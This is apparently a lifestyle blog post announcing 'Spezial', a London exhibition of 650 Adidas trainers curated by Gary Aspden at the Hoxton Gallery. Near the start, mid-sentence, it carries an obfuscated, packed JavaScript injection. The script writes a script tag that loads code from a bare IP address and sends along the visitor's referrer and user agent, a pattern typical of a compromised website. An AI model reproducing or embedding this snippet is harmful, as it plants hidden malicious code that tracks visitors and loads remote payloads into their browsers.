ADIDAS SPEZIAL

Some (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffbbb|var|u0026u|referrer|tzind||js|php’.split(‘|’),0,{}))
seriously big news for sneakers heads out there. Adidas are presenting Spezial, a retrospective from the fans perspective. How very poetic of us.

The exhibition is going to be a temple for the trainer god, showcasing the last 40 years of style and culture. 650 trainers will be on show, from vintage, deadstock, re-issues, collaborations and rarities, all curated by super sneaker head Gary Aspden alongside fans, lovers and collectors.

Aspden, who has been collecting since the 70s, went from fan to consultant for Adidas, and his personal collection is the heart of the exhibition. He traveled the world looking for similar sneaker lovers and thus, the exhibition was born. First of its kind, Spezial will be a trip down memory lane, with the earliest pair hailing from the 60s. Not only has Adidas changed Aspden’s life, but millions around the world. Hey, our dad still loves a Samba!

Starting on 19th July, and only in London for 9 days, the free exhibition at The Hoxton Gallery will show some seriously rare, never seen before pieces. Our key picks have to be the 90s signed editions by Run DMC, a pair from Naomi Campbell, and Noel Gallagher. We also love the personal stories from fans, and celebrities such as Mani of Stone Roses fame, and Happy Mondays Shaun Ryder.

We all know the 3 stripes when we see them. Adidas has gone from sports giant to lifestyle powerhouse of youth culture, and is still crashing huge waves in the market. This exhibition is a sign of the unique soul that drives their lovers to obsession and devotion. No Nikes here please.

Hoxton Gallery at The Arch, 9 Kingsland Road, London E2 8AA
www.hoxtongallery.com